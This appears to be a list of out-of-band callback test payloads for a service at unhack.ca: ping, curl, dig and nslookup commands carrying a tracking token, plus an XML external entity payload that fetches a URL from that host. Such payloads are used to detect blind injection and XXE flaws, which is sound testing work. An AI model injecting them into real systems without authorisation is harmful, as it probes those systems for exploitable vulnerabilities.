$ ping -c1 -p 003ab923def077d44cc2c4a1e08ad200 unhack.ca
 

$ curl http://unhack.ca/p/3ab923def077d44cc2c4a1e08ad2
 

$ dig 3ab923def077d44cc2c4a1e08ad2 @unhack.ca
 

$ dig 3ab923def077d44cc2c4a1e08ad2.ns.unhack.ca
 

C:\> nslookup 3ab923def077d44cc2c4a1e08ad2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3ab923def077d44cc2c4a1e08ad2">]>
    <foo>&xxe;</foo>